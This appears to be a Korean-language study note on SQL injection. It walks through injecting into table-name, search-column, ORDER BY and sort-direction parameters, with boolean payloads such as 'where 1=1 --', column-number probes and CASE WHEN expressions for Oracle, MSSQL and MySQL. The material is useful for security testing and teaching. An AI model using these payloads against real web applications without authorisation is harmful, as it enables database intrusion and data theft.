SQL 인젝션 시 주요 파라미터에 어떻게 공격해야 하는지 알아보자.!
인젝션 시 쿼리를 DB에 직접 테스트하며 공격하는 것이 효과적이다.
아래 MySQL 온라인 에디터를 참고하자.
https://onecompiler.com/mysql
문자열 연결 연산자
MYSQL : 공백 (%20)
MSSQL : +
Oracle : ||
정상 응답
SELECT * FROM member WHERE id='inject'%20'ion'
SELECT * FROM EMPLOYEE WHERE dept = 'Accoun'||'ting';
에러 발생
SELECT * FROM EMPLOYEE WHERE dept = 'Accoun'x'ting';
+, 공백 삽입 시 URL 인코딩 해 요청해야 함
사용자 입력 값이 "테이블 값으로 반영"되는 경우가 있음
테이블 파라미터 = tbname, name 등의 값 사용함
서버에서 사용하는 쿼리
SELECT * FROM EMPLOYEE WHERE dept = 'Sales';
테이블 값으로 반영되는 파라미터에서는 and '1'='1
구문 사용 시 에러 발생함
tbname where 1=1
테이블 컬럼 이름과 where 1=1 구문 조합해 True 반환 시도
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where 1=1 ORDER BY name asc
column_name where 1=2
테이블 컬럼 이름과 where 1=2 구문 조합해 False 반환 시도
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where 1=2 ORDER BY name asc
column name where 1=1 --
where 절이 존재하는 것으로 추정되면 주석 사용해 where 절 삭제 시도
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where 1=1 -- -WHERE dept = 'Sales';
사용자 입력 값이 "where 절 뒤의 컬럼 명으로 반영"되어
검색 시 제목/내용/작성자/제목+내용 등의 타입을 지정해 검색할 때 사용하는 파라미터임
서버에서 사용하는 쿼리
SELECT * FROM EMPLOYEE WHERE dept like '%%'
search_column=1
select * from employee where 1 like '%%'
이 쿼리는 사실상 의미가 없는 쿼리임. WHERE 1 LIKE '%%'는 항상 참이 되는 조건이며 1은 숫자 리터럴이고, '%%'는 빈 문자열을 포함하는 모든 문자열과 매칭되는 패턴임.
따라서 이 조건은 항상 참이 되어, SELECT * FROM EMPLOYEE와 동일한 결과를 반환함.
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where 1 like '%%';
search_column=x
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where x like '%%';
사용자 입력 값이 "ORDER BY 절 뒤의 컬럼 명으로 반영"되어 정렬의 조건으로 사용되는 경우가 있음. 예를 들어 '이름'으로 정렬 시 아래 쿼리를 사용함
select * from employee order by name;
즉, 아래 구문의 idx 컬럼이 사용자 입력 값으로 사용될 때 가능한 공격
select * from board ORDER BY idx desc
sort_column=1
order by 절은 컬럼 이름 대신 숫자로 컬럼을 인식할 수 있음
테이블에 5개의 컬럼이 있다면 값 5는 참 반환함
하지만 6 또는 a 삽입 시 거짓 반환
sort_column=5
, sort_column=a
서버에서 사용하는 쿼리
select * from board ORDER BY idx desc
위 구문의 desc가 사용자 입력값으로 삽입될 때 가능한 공격
파라미터 이름은 sort_type
이름으로 자주 사용되며 desc, asc 값을 입력받음
desc, asc 값으로 정렬하고 있다면 키워드로 정렬하는 것임
, 1
삽입해 정렬 유무 파악해야 함
기존 쿼리 : select * from board order by idx desc;
서버에 반영되는 쿼리
select * from board ORDER BY idx, 1
# True 반환
참 반환하면 컬럼과 관계없는 값 삽입해 정렬 유무 파악해야 함
기존 쿼리 : select * from board order by idx desc;
서버에 반영되는 쿼리
select * from board ORDER BY idx, a
# False 반환
또는 컬럼 개수를 추측해 삽입할 수도 있음
테이블의 컬럼은 3개이지만 4번째 컬럼 삽입 결과, 에러 발생
서버에서 사용하는 쿼리
SELECT * FROM EMPLOYEE where name='dave'
case when 조건이 참일 경우 then 코드 실행, 조건이 거짓일 경우 else 코드 실행
아래 코드 조건은 1=1, 참이기 때문에 then 구문의 값 'dave'가 입력 값으로 사용됨
(case when 1=1 then 'dave' else 'attack' end)
ORDER BY 절 뒤에는 컬럼 이름이 존재함, case when 구문을 컬럼 이름 대신 삽입하면 인젝션 가능
SELECT * FROM EMPLOYEE order by name
위 구문의 name 컬럼 대신 (case when 1=2 then empId else name end)
공격 구문 삽입 가능
=> SELECT * FROM EMPLOYEE order by (case when 1=2 then empId else name end)
like 연산자 사용하는 검색 기능에서도 사용 가능함, case when 구문을 검색어 대신 삽입하면 인젝션 가능
SELECT * FROM EMPLOYEE where name like %검색어%
=> SELECT * FROM EMPLOYEE where name like '%Da'||(case when 1=1 then 'v' else 'sql' end)||'e%';
# Oracle
=> SELECT * FROM EMPLOYEE where name like '%Da'+(case when 1=2 then 'v' else 'n' end)+'e%';
# MSSQL
=> SELECT * FROM EMPLOYEE WHERE dept LIKE (CASE WHEN 1=1 THEN CONCAT('%Acc', 'ount%') ELSE 'ccc' END);
# MySQL
MySQL은 concat 함수를 사용해야 함
MySQL 8.0 이상에서 PIPES_AS_CONCAT 모드가 활성화 되어 있으면 || 연산자를 사용할 수 있음